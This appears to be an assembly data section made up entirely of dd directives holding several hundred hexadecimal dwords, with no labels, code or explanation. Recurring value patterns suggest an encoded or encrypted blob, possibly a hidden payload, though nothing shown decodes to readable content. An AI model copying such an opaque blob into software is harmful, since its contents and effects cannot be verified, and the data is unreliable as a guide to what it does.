dd 15679B3Dh, 969E8832h, 561058Fh, 91692234h, 1566117Bh
dd 1BE3B3CAh, 1A605394h, 15661EB7h, 1569F832h, 1A5D8832h
dd 5448CF83h, 0F52001F3h, 0DDFDA30Ch, 0CE30370h, 0FC605410h
dd 15662220h, 0EBEEE944h, 0F2A69962h, 0A7E110B9h, 454C4CF8h
dd 0F9E57CDFh, 315A0136h, 4A4240CDh, 0BCDBA1CEh, 15600100h
dd 176A0C3Dh, 969A4432h, 57FC78Fh, 91691134h, 156689CCh
dd 81BFC452h, 1566AF3Dh, 2E071132h, 2C37AB7h, 4DE34B34h
dd 1A662232h, 156610BDh, 9E9F7432h, 56CEDB7h, 1563CB34h
dd 0A7A1132h, 408477A0h, 0EA99BB8Fh, 48890BCDh, 157A9A3Dh
dd 73068832h, 0FDC52F89h, 15662222h, 9D2BE953h, 18610B8Fh
dd 0B6C83886h, 0E1472409h, 58F7069h, 3D668832h, 0B1238C56h
dd 7A5ABE5Ch, 5B13E8E7h, 2EC0DEA5h, 2C046B7h, 54E32D34h
dd 1A661132h, 156689BEh, 9E9FBC32h, 54507B7h, 1568F834h
dd 18BC8832h, 571E06FBh, 21920EA3h, 5F7CFB38h, 15673260h
dd 0C2674432h, 1574CB68h, 0B34E1132h, 0D4DBEEB0h, 0BE259DB5h
dd 0FC2182EFh, 6C54439Bh, 0B0900D09h, 90694225h, 1566221Eh
dd 15679E3Dh, 9E9A8832h, 56E81B7h, 1AE12D34h, 0FC661132h
dd 15668838h, 7FEB8E79h, 0EDADA666h, 0AD36C7B5h, 0EA9977CDh
dd 0EC3E831Bh, 0B360A709h, 90691725h, 1566881Bh, 1CE3CFCBh
dd 0FC603230h, 15661134h, 0D85C1BDBh, 0AE35A941h, 15662233h
dd 0FC3DCE33h, 1566883Bh, 16F2DAA3h, 4859DBEDh, 1FE32A29h
dd 1A609F94h, 15660EB7h, 1563CB32h, 6E9D1132h, 9EBBE934h
dd 5785DB7h, 1575CB34h, 0C6E61132h, 79D80D29h, 0D651A0B1h
dd 44B8DD6Ch, 0DC0B663Dh, 14DED8D0h, 14664432h, 18F7AF5h
dd 0CA661132h, 0C70FC8A7h, 0C5536692h, 0FF292483h, 0B0E2AF5Fh
dd 2EAF216Ch, 2C3BEB7h, 5FE32D34h, 1A661132h, 156682B8h
dd 0F4EC2432h, 0C2E1C3B3h, 9E077044h, 54731B7h, 9E002434h
dd 15E02DC5h, 74661132h, 7406DB52h, 74ACCF68h, 0EA999A62h
dd 0D24FEECDh, 7ED876Ah, 75664432h, 156628DAh, 0A64C3232h
dd 0F4EF1A8Bh, 4BEB4D7Ah, 0EBE31953h, 1A600697h, 156695B7h
dd 90EDBD32h, 13760B03h, 73A09B52h, 0BF3359B3h, 14DC1653h
dd 14662232h, 0EC064BE5h, 0A8E5E9CBh, 13765DD7h, 0DDE22D32h
dd 1A661138h, 156689BDh, 905DB832h, 137187B8h, 153C943Dh
dd 48F8832h, 6D664432h, 0B485575Eh, 3E2548CBh, 81C5A93Dh
dd 3ED9FD04h, 2613A7B9h, 94691722h, 1566882Fh, 1571C73Dh
dd 78F2232h, 53661132h, 0CBC726D8h, 3F68B3F1h, 0E2C79B42h
dd 5CAF331Eh, 0EADFD9E7h, 3C99BBCDh, 188F7BFDh, 24661132h
dd 85AACF7Fh, 0BFA4C115h, 1B649619h, 0B3789409h, 90698E25h
dd 15664418h, 49E19C52h, 9E005845h, 90EDE9F9h, 13765AB7h
dd 1561CB52h, 5BA71132h, 36C12FD9h, 4207B17Eh, 9E4226CDh
dd 0D1E5350Eh, 905D7036h, 1371E1BCh, 155DA73Dh, 9E9E1132h
dd 557C1B7h, 1568AD34h, 96992232h, 3862B9FBh, 171FB3Dh
dd 756B3FEAh, 314AA165h, 0ED064ECDh, 15776162h, 0B85B4432h
dd 561A9592h, 0D904A12Eh, 9DCD26Fh, 4E6365ABh, 87E31953h
dd 1A600697h, 1566C5B7h, 4E74B32h, 0FC662232h, 1566113Eh
dd 0D0A1A68Bh, 0DE08E939h, 0F1DF2FF8h, 341B94B9h, 9F698E22h
dd 15664423h, 15662EDBh, 0BE4D2E32h, 0CA44BA57h, 0BEC2F4BCh
dd 0EADB779Eh, 3C99EECDh
dd 9E69D5DDh, 1566443Bh, 73309652h, 0A24CC8B3h, 905D7053h
dd 1371E1A4h, 155BA73Dh, 9D691132h, 15668821h, 15664ADBh
dd 8762D532h, 2E943714h, 0B1AE35A5h, 9EEEC071h, 57D5FB7h
dd 4793E434h, 0EA997788h, 4FB16DCDh, 15662CDBh, 95CAED32h
dd 0C8922B73h, 0D3487231h, 2EE5CE06h, 2C38BB7h, 53E38734h
dd 1A664432h, 156632B3h, 156DF832h, 0D0C88832h, 0B7737CCEh
dd 7DD05695h, 0D4DB9242h, 15609823h, 1545C13Dh, 9E9E2232h
dd 56B84B7h, 55F17434h, 4D391465h, 156632DBh, 106E0F32h
dd 0DBB35A2Eh, 0AF9D3554h, 24D7D7E1h, 8BE32AF6h, 1A609F97h
dd 156607B7h, 0E72D32h, 0FC661132h, 15668822h, 8DB1059Eh
dd 0BFAA837Eh, 0AAE313C7h, 73247FB5h, 19FBC1B9h, 1A062422h
dd 156614BBh, 0CCE7EE32h, 9E360C31h, 460778CBh, 15661089h
dd 4EB98932h, 14EC4BCAh, 0E9662232h, 0B0C49409h, 90698E25h
dd 156644AFh, 156629DBh, 0E2A29632h, 0E7ABDBEBh, 0C5CBA9A2h
dd 1575AD3Dh, 73061132h, 72C869B3h, 156643DBh, 0B6157932h
dd 0F279C6DCh, 0D4DB0B53h, 15605423h, 1501A73Dh, 0AA061132h
dd 3DE6EAAh, 1572AD64h, 85F62232h, 2ED65AC9h, 2D90F76Fh
dd 0B3EC3F4Dh, 9942D6AEh, 743EF306h, 132B0DB9h, 73064222h
dd 0D3F9FBB3h, 0D6D84753h, 9458732Dh, 0C626ABDCh, 0D4B0D57Fh
dd 0D3E714DCh, 0EAEFB6C4h, 1A38B31Bh, 15663ABDh, 7E11E32h
dd 0FC668832h, 1566443Fh, 0B8B44608h, 9F03E23Dh, 2F7D9AD2h
dd 0B3E37F37h, 1A603597h, 156659B7h, 156C6132h, 50154432h
dd 17BCCE0Fh, 314011F6h, 3CA70DB9h, 94694222h, 1566222Ah
dd 156602DBh, 6D0CD132h, 470442E8h, 0F280ACCFh, 0F81D6973h
dd 8619E804h, 1567FA64h, 0E2672232h, 1561F86Ch, 0A3228832h
dd 1476FB0Ah, 0BFE31918h, 1A600697h, 1566B4B7h, 19EA4B32h
dd 0FC662232h, 15661135h, 15BB4375h, 75A7BD4Bh, 1AAF9D3Dh
dd 9E07CE85h, 56921B7h, 0AB30B834h, 0EA99DDCDh, 1A38E61Bh
dd 156684BFh, 13EF4B32h, 1A662232h, 156611BAh, 0A7E3B332h
dd 1A605397h, 1566A1B7h, 92697132h, 15668830h, 1E8F1B62h
dd 10662232h, 9DB16038h, 8BBEC975h, 96070F2Fh, 577E38Fh
dd 90691134h, 1566886Eh, 1561C23Dh, 9C692232h, 15661133h
dd 0D0E303CBh, 0ED605415h, 466C9A62h, 0AC5349F4h, 0D44C073Ch
dd 0EA534CD2h, 3CD0807Eh, 940649F5h, 0B35AD1D5h, 1E8F243Fh
dd 5B662232h, 988EA130h, 2D1A56A2h, 740737A7h, 156631DBh
dd 1124C32h, 25FFE575h, 3D931CA5h, 0B963FA5Ch, 0D1D28469h
dd 0B0C80D09h, 90694225h, 1566220Dh, 1567933Dh, 969A8832h
dd 577858Fh, 90692234h, 15661119h, 1CE303CBh, 75605412h
dd 1566AE3Dh, 1D8E1132h, 98668832h, 6E05B9CBh, 73509DDCh
dd 4B3C408Ah, 14DED853h, 14664432h, 2E937AF5h, 2C3A7B7h
dd 25E38734h, 0E0664432h, 0BC7A7B9h, 9D691722h, 15668836h
dd 74072452h, 6DA59F67h, 0E0E72A13h, 0D1B80F0Eh, 1A3BAB1Bh
dd 156628B4h, 9B697132h, 15668832h, 2E079CB9h, 2C398B7h
dd 50E31E34h, 0FC668832h, 1566443Fh, 5A442072h, 86945F64h
dd 0F6774DE7h, 156FADEFh, 0B8872232h, 59C0EB2Eh, 9EB90F25h
dd 56BE1B7h, 0AA694234h, 0F7E777C5h, 4607D47Bh, 15664589h
dd 4EB92332h, 156616DBh, 754AF532h, 0AFE050E7h, 0B0D8A709h
dd 90691725h, 15668869h, 156ECA3Dh, 93692232h, 15661130h
dd 90EDE952h, 13765FA3h, 156BCB52h, 0EFA91132h, 4074AAA5h
dd 3333514Fh, 944A6915h, 56ECFDC3h, 150EE964h, 9C664413h
dd 1199060Eh, 90694E16h, 15668829h, 1573C73Dh, 58F2232h
dd 2D661132h, 9139F68h, 56724450h, 7AEE906h, 2E9D5941h
dd 2C34AB7h, 31E34B34h, 0E0662232h, 1B5794B9h, 449A8E22h
dd 0EA99BB8Bh, 4CA90BCDh, 15661FDBh, 30012932h, 19AD1C9Fh
dd 4B1E8CD1h, 2E703F34h, 2C34EB7h, 5DE34B34h, 1A662232h
dd 156616B1h, 4A37E832h, 74059EB2h, 110BA7B9h, 1D8F1722h
dd 0F668832h, 0A1A5912Bh, 421D5628h, 9E4215CDh, 0D1E5AC0Eh
dd 1EEC4B36h, 0FC662232h, 15661134h, 8365F5D1h, 0FC065D73h
dd 15662234h, 0AB927FDEh, 2E07767Fh, 2C38EB7h, 49E32D34h
dd 0FC661132h, 15668823h, 3DDB73BCh, 619D1954h, 386BE788h
dd 0EB64CC8Ch, 0CCE3CF18h, 1A60321Fh, 15661CB9h, 9469E832h
dd 15664432h, 0C5270F88h, 9F697076h, 15668833h, 0EADD17CEh
dd 3C99DDCDh, 0FD064AEDh, 15668834h, 958DF5DDh, 138EAB64h
dd 0BC661132h, 11F9AFD8h, 1A3C1CC8h, 2E07E48Dh, 2C3DFB7h
dd 3BE38734h, 0E0664432h, 9BFA7B9h, 188F1722h, 0E4668832h
dd 926538C5h, 0EA8E1049h, 56B3884Ah, 9AE3062h, 6863058Ch
dd 5D3DF919h, 73D1AA37h, 4DA1A150h, 0C7E37FCEh, 1A603597h
dd 15669BB7h, 18EE832h, 0EB664432h, 369A74BFh, 6DB65721h
dd 0A351E952h, 0BEEF48EBh, 4AC46561h, 0D2D11E52h, 156687DBh
dd 0A2208432h, 3EF60260h, 80287288h, 0C2F6D1Bh, 90ED2553h
dd 137634AFh, 1569F952h, 45898832h, 887F96CAh, 18299DCFh
dd 0AC079BDEh, 60F83632h, 753E2856h, 1566A93Dh, 9E001132h
dd 4607E9CCh, 0EA99BB89h, 4EB90BCDh, 7EB1E52h, 0FC668832h
dd 1566443Fh, 0B161BC2h, 480E0825h, 0F73200ACh, 0B395FDA5h
dd 2E075F67h, 56B78B7h, 79E38734h, 0FC664432h, 15662221h
dd 6BD97756h, 6BE7B23Dh, 3CACE6Bh, 55894884h, 0FCD89171h
dd 1566883Ah, 0C8A777BAh, 596AA4BCh, 0E6B94B9h, 91698E22h
dd 15664426h, 97DC4452h, 156FF8F2h, 57538832h, 2221CA9Eh
dd 741B747Eh, 1567AC67h, 0FA678832h, 0DE84B6Fh, 75662232h
dd 156601DBh, 8B96BF32h, 49A79497h, 27040424h, 0B2278D5Bh
dd 2E07709Fh, 2C392B7h, 20E32D34h, 0EC661132h, 0BA70DB9h
dd 188F4222h, 0A6662232h, 0BF65A045h, 5B934650h, 0FE044D25h
dd 14DC70CBh, 14661132h, 9569D2E5h, 1566443Eh, 1560A43Dh
dd 93691132h, 15668832h, 0B374C109h, 90692425h, 156611A7h
dd 0CCE7EE52h, 0ECED251Fh, 156FCB53h, 0BD0B1132h, 0E194A1FAh
dd 96224510h, 2C0388Fh, 90691134h, 15668813h, 0A8E5B1CBh
dd 13763EA7h, 77E21E32h, 0FC668832h, 1566443Fh, 0C5272D79h
dd 3870849Fh, 0B9AF976Bh, 38E3CF6Dh, 0FC60323Ah, 15661120h
dd 24A91DAEh, 63D80B28h, 0D79AC569h, 0E753E589h, 1A06FD1Ah
dd 15664FB6h, 1563CA32h, 0B5021132h, 4B7D26F6h, 86B1C464h
dd 9231436Bh, 9227353Eh, 1A39AC3Eh, 156648B1h, 93694232h
dd 15661132h, 0D41C3154h, 3E37F53h, 1A603594h, 156692B7h
dd 15636132h, 4E904432h, 9615ED55h, 2C00B8Fh, 90698834h
dd 15664470h, 156AA33Dh, 95691132h, 15668834h, 1566C63Dh
dd 0A8E52232h, 13760DA7h, 58E28732h, 0FC664432h, 15662226h
dd 0ADD40C7Dh, 4B10731Fh, 86F26AC6h, 8F660A05h, 1C5DAD95h
dd 0E3E7EE52h, 0AA69A4F4h, 90ED43E8h, 13760DE3h, 0DBEDEE52h
dd 74A4CF54h, 15679B63h, 0DA671132h, 1568616Bh, 0CC6A4432h
dd 0EFF93F38h, 2F040F5h, 97AED313h, 0B0BCC109h, 90692425h
dd 15661162h, 8E303C7h, 7560541Fh, 156633DBh, 51E79132h
dd 0BC8D9BDh, 0F55628F7h, 0FEB5B24Ah, 0CCE6FA18h, 0AE35E980h
dd 0EA99BBCDh, 0FC3DFD1Bh, 1566113Ah, 36259917h, 0C80BE7BAh
dd 156631DBh, 0E42A5932h
dd 0D982F2E1h, 7F98062Dh, 1CE68655h, 22F4D687h, 0B0B80D09h
dd 90694225h, 1566227Dh, 1569F8CBh, 2CED8832h, 0F3CFA17Bh
dd 0DC0ED7AAh, 0E7930B25h, 10E303DAh, 0ED605411h, 6E449B63h
dd 0CC917C8Bh, 5FE149B3h, 0D4E75E81h, 466012A8h, 1A3FDE1Bh
dd 15669EB1h, 1577AD32h, 7AB72232h, 25866962h, 0DBF02E06h
dd 3D74A3D3h, 2E3541A7h, 2C3F3B7h, 61E38734h, 75664432h
dd 156636DAh, 4A323232h, 0BD564C00h, 3ED29627h, 7AE70F7Ch
dd 0C9F43BB2h, 0C1DFEE79h, 128E1C0Bh, 92662232h, 0D89F2CF2h
dd 0AA006582h, 74395BEFh, 35AFA7B9h, 48F1722h, 96668832h
dd 0CE340CB6h, 13CE8982h, 0D41693F2h, 91499CCEh, 7EC2FF61h
dd 0D6E76233h, 143C7127h, 212E4BB3h, 0CA67FA96h, 156BCB69h
dd 0CD931132h, 10079640h, 6D9E0259h, 2E6F88CAh, 2C3F7B7h
dd 0DE38734h, 0EC664432h, 1ADBA7B9h, 108F1722h, 99668832h
dd 2DB125B2h, 314AA165h, 2E9E4ECDh, 2C362B7h, 56E34B34h
dd 0FC662232h, 15661137h, 0F0561FEAh, 40E3CFA8h, 0E0603213h
dd 1567AC67h, 0FA678832h, 0AF00246Fh, 58E377Dh, 0EA661132h
dd 6782E8A7h, 8916C380h, 0EF19BACh, 0FC12367Bh, 1566883Ah
dd 2763FACEh, 7D288E30h, 905D706Ch, 13712DDCh, 154BC13Dh
dd 9E9E2232h, 55564B7h, 19EA8734h, 1A664432h, 156624B7h
dd 15E31E32h, 45668832h, 1566458Ah, 4DA12332h, 0EFED7752h
dd 82CA43B3h, 1E072440h, 3EE22DCDh, 75661132h, 0EF880954h
dd 0CBD14B50h, 0F98CCB53h, 0FC06EECDh, 1566883Fh, 18116BEFh
dd 0B8EF1496h, 7F6A3546h, 17E0876Fh, 75664432h, 905D4353h
dd 137610F7h, 15470D3Dh, 98694432h, 1566223Ah, 1564983Dh
dd 74068832h, 2BE3C9CBh, 0E9603575h, 0EA8AB6DBh, 7506E8CDh
dd 2E072553h, 5669FB7h, 7EE31E34h, 0ED668832h, 15664DDBh
dd 0BC03D232h, 7831BB54h, 0A8E5B69Bh, 1371E108h, 5AE32D33h
dd 75661132h, 55456B3h, 58F1507h, 0F0662232h, 95AA4671h
dd 2543093h, 0F1F70E2Fh, 74CFF8AFh, 156602DBh, 0A9F63332h
dd 0B46E9E40h, 48EBAD02h, 4DE71D63h, 574FF01Dh, 1E01C1BFh
dd 1C8F226Bh, 19661132h, 14005688h, 8D133F92h, 0EA8A09DBh
dd 905DEDCDh, 13712D78h, 1541C03Dh, 1B8F2232h, 8A661132h
dd 0CB84CDA4h, 0DBDD686Ch, 0D984515Eh, 5BE32AEFh, 1A609F97h
dd 156606B7h, 17E82D32h, 75661132h, 0FE946153h, 198FBBCDh
dd 0A2662232h, 1169E4Fh, 957650C1h, 1AB45AF7h, 15663CB2h
dd 48F7132h, 0BE668832h, 0DAC69116h, 35022220h, 0F3364C80h
dd 928BFAB3h, 1566CB3Dh, 7D072232h, 15661132h, 9642BCB9h
dd 730640F6h, 9B69EAB9h, 15661130h, 9607E952h, 906945CCh
dd 156622D6h, 15779B3Dh, 198F8832h, 5D664432h, 0D057C28Dh
dd 7D1602C7h, 2E4C2348h, 2C37AB7h, 4CE32D34h, 75661132h
dd 0C8B50954h, 1B8F12B1h, 8E662232h, 2DF4DF3Bh, 0B58D1969h
dd 1148E037h, 98077DE9h, 4DE1D5B7h, 15756132h, 1BC74432h
dd 44A6E91Eh, 88D738CBh, 6E0BE1F7h, 0FF1102B2h, 0FE5CCB57h
dd 0FC06EECDh, 15668839h, 5B79ECC8h, 155EC32Bh, 467EFF38h
dd 1DB36AB3h, 743C63FFh, 0B024A709h, 90691725h, 15668816h
dd 2FE3C9CEh, 0E9667ABAh, 0EA8D16DBh, 81D9E8CDh, 9445F21Ah
dd 15E3AFC3h, 73067021h, 0D7D979B9h, 744A037Ah, 0B020A709h
dd 90691725h, 1566881Eh, 156EC63Dh, 9A692232h, 15661130h
dd 90EBE952h, 153ECC4Dh, 156AA33Dh, 9B691132h, 15668834h
dd 1566C63Dh, 0AC8F2232h, 0E099EED8h, 43A00164h, 1A8F1A6Ah
dd 62662232h, 0A7BFB59Ch, 88099C8Eh, 38259F51h, 0C5D85D56h
dd 942C7877h, 0EA9977F4h, 26A0C5CDh, 1AD3B488h, 156616BBh
dd 14E18732h, 0E9664432h, 9069D439h, 1566111Bh, 749F7052h
dd 0EA8C78DBh, 0FE82DCDh, 75661132h, 0FC983F3Dh, 15664422h
dd 8578ADEh, 38D84546h, 3EDD183h, 0E677F1B9h, 37B64A53h
dd 11EF1132h, 9269D616h, 15664433h, 0F0D3ABC7h, 1A60011Fh
dd 156681B6h, 74062432h, 0F657738Dh, 0A0EF7077h, 137682A3h
dd 0D5E72252h, 68F6B50h, 7D661132h, 0CAF4B73Ah, 0ACE8428Ch
dd 86567795h, 0E212E721h, 9507D4BBh, 9069AD0Ch, 156622EDh
dd 156D973Dh, 138F8832h, 0FB664432h, 28CF6877h, 1410EEDAh
dd 9442B4B9h, 156640F6h, 12E52D32h, 1A661132h, 156689B1h
dd 0FAE7BC32h, 2A23255Bh, 17B2D6B3h, 0E26784A5h, 17B2ABB3h
dd 0D2E72EA5h, 2A23165Bh, 156A033Dh, 128F4432h, 95662232h
dd 61328B55h, 4631447Fh, 0CAEFB7BBh, 4A9DAB69h, 1560F852h
dd 0B0888832h, 1ADC7B92h, 74A8F0B2h, 152FEE5Ah, 316A0132h
dd 0DC59878Bh, 57A7A307h, 941B344Eh, 921C3BF3h, 5DA7C504h
dd 1470A83Bh, 58F48F9h, 43668832h, 0D0D72520h, 320A6047h
dd 8341DA13h, 2E540CAFh, 54BA18Fh, 35E42D34h, 0FC661132h
dd 15668820h, 8A7F30C2h, 0EDF9C9F4h, 7EBD1A59h, 2413227Eh
dd 0EE5D3172h, 156BA43Dh, 0FC9A1132h, 0EA9960C3h, 1567CA3Dh
dd 9E9A2232h, 56C348Fh, 0E68734h, 0FC664432h, 15662222h
dd 0E6387E0Dh, 3B6186B8h, 0DCA657B7h, 42A74F0Dh, 3D3B94F5h
dd 15668E22h, 95064432h, 7507AAD1h, 0E4ED7752h, 156681DBh
dd 0D6799732h, 1066DB34h, 9C076CF6h, 56C1987h, 18E2434h
dd 3D662232h, 56A2728Ah, 729F7FD6h, 7B7F81BFh, 403A8CCDh
dd 1A7317D5h, 156688B0h, 96691D32h, 15662234h, 1566923Dh
dd 98078832h, 0D4E84AFh, 94004234h, 748922C2h, 1A065BCDh
dd 188F838Dh, 7F662232h, 8EC6F0C3h, 2B2457F4h, 0F68F750Eh
dd 1AA62953h, 156639B6h, 156D6132h, 0C5834432h, 4DA716B3h
dd 57DEC05Dh, 15E16163h, 1A064432h, 156624B7h, 15EC1E32h
dd 73668832h, 81C4A6B3h, 24FBAF53h, 0FC6004A8h, 1566883Ch
dd 0CA9F7BC7h, 0C12187EDh, 0D221CF4Fh, 0C69992A6h, 0EA33C73Dh
dd 0EC06DDCDh, 74F6DDB2h, 1567073Dh, 9E9A4432h, 56CB387h
dd 0A0EFE834h, 1376A06Fh, 15664CDBh, 6399A432h, 63EA6FD8h
dd 0D8FB051Bh, 0FC60529Ch, 15662226h, 0E968E0F3h, 0ECB5F689h
dd 20C832B9h, 2902AE46h, 0B4636625h, 138F5BCDh, 11664432h
dd 38A53E16h, 0F0E39AD6h, 0FC60981Fh, 15664438h, 603BABB4h
dd 0A440A6F8h, 90EF81AEh, 13764EA3h, 1D8E4252h, 0B9661132h
dd 85830E5Bh, 4E4EBE94h, 156632DBh, 3A96BF32h, 0FA2E1F12h
dd 0C533830Ch, 853B50A3h, 740770FCh, 15669BDBh, 45290832h
dd 5B5E0DAAh, 633736EEh, 7A217E16h, 55CDECC4h, 1A8E1CB2h
dd 1566F8B7h, 0F4D3E832h, 9607A783h, 549DF8Fh, 91691134h
dd 156688E4h, 18D82452h, 7566A3A8h, 96077053h, 19EF8CDEh
dd 0A541F516h, 4CAE22F0h, 156619DBh, 106A1D32h, 0AE8FFD5Ah
dd 30EF2D67h, 75661132h, 156683DBh, 0CA661732h, 0BA31EE2Eh
dd 0E819BBACh, 156686DBh, 0EC55E432h, 2046FF19h, 0C3C0E564h
dd 74B89304h, 1575AD98h, 6C812232h, 0E5C50CF4h, 0D9CC05B8h
dd 0DC828957h, 0F4A72DF9h, 21DF79A2h, 21EF8832h, 1D8F1C16h
dd 71662232h, 0E8BA5D17h, 449C709Ah, 0E664D28Bh, 4CAE0B42h
dd 8363E91Bh, 0FC167B30h, 15664421h, 0C5C4D640h, 8C018436h
dd 0B42F5538h, 6DF88995h, 46AFB21Ch, 15661589h, 2FC88D32h
dd 0CD4F4BCDh, 0EA5C8C1Fh, 0FD064A3Dh, 15668838h, 913E64B8h
dd 0F351B3BDh, 7406537Ch
dd 0EDCDE96Ch, 156440DBh, 88EBDA32h, 137E1EEEh, 0E0B577CBh
dd 3633D9BFh, 1A06242Ah, 9F35D985h, 0EA07D1E1h, 1574ADE1h
dd 0CC9E2232h, 0A8F9479Ch, 0D7B59132h, 790870CAh, 0F248BB21h
dd 9069D139h, 15668810h, 156641DBh, 4CFD8B32h, 2A8FCE7Fh
dd 0FC668832h, 1566443Ch, 0FF698C42h, 57F8069Fh, 2B94F375h
dd 90E5475Eh, 137628A3h, 12ED1E37h, 75668832h, 0A4B6CF54h
dd 8C8F430Ah, 0FC99EECCh, 1566883Ch, 0C02E39F4h, 615699Eh
dd 6CD6E8E4h, 88EB7EFBh, 137E61AEh, 0EDB5DDCAh, 17E71E52h
dd 9E668832h, 0D56D25E2h, 156CA73Dh, 0FC931132h, 15668800h
dd 744FF552h, 1537915Ah, 316A9832h, 15668C8Bh, 4CAC4532h
dd 15662ADBh, 4516332h, 1A92EDAFh, 1455AD62h, 99692232h
dd 15661134h, 75AD0352h, 88EB2553h, 1373B803h, 156CF852h
dd 701B8832h, 37DAA4A6h, 0A85506CBh, 1AB5EE53h, 1566D8B1h
dd 1DE24B32h, 75662232h, 15669F3Dh, 1A078832h, 156645B7h
dd 0A0EDDB32h, 13761BA3h, 1BE68752h, 0FD664432h, 1566223Ah
dd 87379AA0h, 7EC76DE3h, 1572AD6Ch, 0FDC22232h, 1E8586C3h
dd 1AA9DB41h, 902C8D37h, 9F49D805h, 0FC07D610h, 1566A33Ch
dd 84EBCFC7h, 0FC603238h, 15661137h, 87B9DEDCh, 1568AD8Dh
dd 99EC2232h, 7DD8F810h, 728CE1FAh, 2F331516h, 1FF797BBh
dd 188F1722h, 0F0668832h, 5AEEAB50h, 8721218Eh, 6FD16F85h
dd 48F149B3h, 0FCE75592h, 7C536387h, 0D4E7E01Bh, 7C53C987h
dd 48F1ADB3h, 108F3392h, 0C5661132h, 0D9085C90h, 316ABB63h
dd 0FCB7D56Bh, 15661122h, 7DC610B9h, 5BB648F8h, 9C29D936h
dd 5114FFB6h, 1ECC66B3h, 0DB4F7134h, 1ECC9961h, 0CB672434h
dd 0B1957069h, 15664ADBh, 0D1B3F232h, 3B5ADCFFh, 0F89B631Eh
dd 0FCE5534Ah, 0EA99DF2Eh, 156D9C3Dh, 138F8832h, 6E664432h
dd 0B48CB9F6h, 28FB9CB0h, 1A609E83h, 156665B4h, 18F4232h
dd 0EA661132h, 2D31C71Bh, 2E375694h, 0A936D13Eh, 4FB77080h
dd 1A076A34h, 156644BAh, 0EA9E4332h, 9C33E9E1h, 9E8E01CFh
dd 0D1E5601Eh, 9E9A4236h, 904D70C3h, 13768217h, 2E04BCEh
dd 75662232h, 188E7052h, 0A668832h, 8F8DE76Ch, 4B957022h
dd 0CE7B3F1Dh, 90EFE96Dh, 13766DC3h, 30E3A9CEh, 75600138h
dd 7D078882h, 15663245h, 75421EBBh, 9C3670CAh, 15628DD2h
dd 114B4432h, 92662232h, 9C3A3536h, 9469AC36h, 1566443Ah
dd 1564A03Dh, 74061132h, 0A13B05BFh, 46064224h, 22E95E8Ch
dd 0EA07485Fh, 78FE8E3h, 0E7664432h, 55F22762h, 7CC3708Ch
dd 0E51ADE3Fh, 7E39071Fh, 9E07D702h, 57468B7h, 1A06E834h
dd 156644BEh, 20DE4432h, 0CFE770CEh, 3A331479h, 0F4EF1553h
dd 1562E3B3h, 0FCE51132h, 316A0F36h, 3162CD6Eh, 7E004ACBh
dd 29EF1132h, 90ED7416h, 13764E17h, 56AF4ACBh, 11EF1132h
dd 15686116h, 8594432h, 5768FD90h, 79F372E5h, 999E6212h
dd 0A07EC9BFh, 97692424h, 15661135h, 59523752h, 0EA0752B5h
dd 1B8F42E3h, 1E661132h, 0E985B2D3h, 90D5720Ch, 0BF4EB3F4h
dd 156AF86Bh, 76C18832h, 57D2AFD7h, 0AEF17B47h, 9607E179h
dd 9EF8CDEh, 9CA5CD16h, 0AA0679E8h, 0DB53A71h, 0AD613F52h
dd 33AA0BA0h, 9E364353h, 0D1E7353Eh, 15668836h, 156EC73Dh
dd 94062232h, 0F2A2A5E5h, 984DE91Bh, 1376564Bh, 13E42D52h
dd 1A661132h, 156688B1h, 7498CE32h, 3BC39FB1h, 1A661722h
dd 15662BB6h, 0DFE72432h, 77408CEAh, 74B89A54h, 3CCB0DB9h
dd 48F4222h, 25662232h, 4B64F502h, 0B38ECB9Ah, 206D89F0h
dd 2FD2017Dh, 37DD7752h, 0DAE7EEB0h, 3E078C62h, 54887B7h
dd 0A8DC7134h, 9E35113Dh, 0D45D25E1h, 153CA43Dh, 0FC061132h
dd 15668826h, 728F2E0h, 90FFAA7Bh, 0B133D276h, 28D6F58Ch
dd 2B3715Bh, 74A99D3Dh, 3CB394B9h, 16938E22h, 548E1B7h
dd 90EFDE34h, 137630A3h, 15669BDBh, 313E0432h, 5B4B3F52h
dd 867DA04Dh, 0A8AF161Eh, 0F69CC728h, 1567C8DBh, 1560F832h
dd 5BA48832h, 0DAFC1C94h, 9484AB60h, 156615F0h, 118C0932h
dd 92664432h, 9C3A0626h, 969A353Eh, 19EF8CDEh, 1A061C16h
dd 1C8EF88Dh, 3B661132h, 1826D196h, 6063EF5h, 156636DAh
dd 8A0A8B32h, 0DDE8AF41h, 999390EDh, 80E96A85h, 17A33DC2h
dd 7439D607h, 0EA99FD63h, 0DD67DDCDh, 14E11E6Bh, 0E0668832h
dd 9E0E1764h, 4E66D374h, 0FEE7C2C5h, 0C57A26BBh, 943D9ABBh
dd 3B3454DCh, 0DBE75F7Eh, 2F8DFB2Ah, 63F48AB3h, 0D3E7048Eh
dd 14660133h, 1A38783Bh, 156648B2h, 0AE004232h, 95696CFFh
dd 15668832h, 0AB30BD53h, 995E3Bh, 0E3E7C7C5h, 5F7AA1BCh
dd 93A0C574h, 3C39C167h, 1F8F4FC2h, 59668832h, 7784651Eh
dd 949FE24h, 0B8E398CEh, 7560981Bh, 12C0A7B3h, 0FC072CF7h
dd 1566113Ch, 0E829A717h, 5E69B15Bh, 7CFA33E6h, 9067A164h
dd 13768E73h, 15664BDBh, 9C733B32h, 52AE97F0h, 57413F33h
dd 8E10BA84h, 3BC3A7F5h, 15661722h, 7F9E8832h, 156AAD72h
dd 5902232h, 7A7B4B4Ch, 0F5654F3Eh, 150ED0E7h, 0ED662222h
dd 1544BE5Ah, 316A0132h, 75662EC7h, 7898D5B3h, 0FC310279h
dd 1566883Ah, 0C340C6D4h, 846E0884h, 78F706Dh, 0FC668832h
dd 17DCAC75h, 3C9136D6h, 7BE5FF05h, 0EDEE5AF3h, 70F3BBE8h
dd 0FC60322Eh, 1566113Bh, 0ED48D8E7h, 0DB2F2422h, 3CF3DDE0h
dd 0E9600133h, 3CB30DBBh, 95064222h, 0FD0649E6h, 15661121h
dd 225B96E4h, 23563610h, 14B5247Fh, 0D6914FB9h, 4C101EACh
dd 1566C13Dh, 74072232h, 34F794BBh, 98698E22h, 15664429h
dd 1573A73Dh, 58F1132h, 6E668832h, 6755E794h, 520EB1E5h
dd 0D6BE5D53h, 9EF72E3Bh, 9C35603Eh, 11A5A3D1h, 96661132h
dd 9E18CF1h, 0EA9E1816h, 547B387h, 14E31E34h, 0E0668832h
dd 71FF1CDh, 94692422h, 15661134h, 0A2697452h, 730625F1h
dd 9569D9B9h, 15661132h, 3882E053h, 29EF4432h, 0C3E74216h
dd 130256CAh, 15668FDBh, 0B5316332h, 0A9A1FDC3h, 30D3EE53h
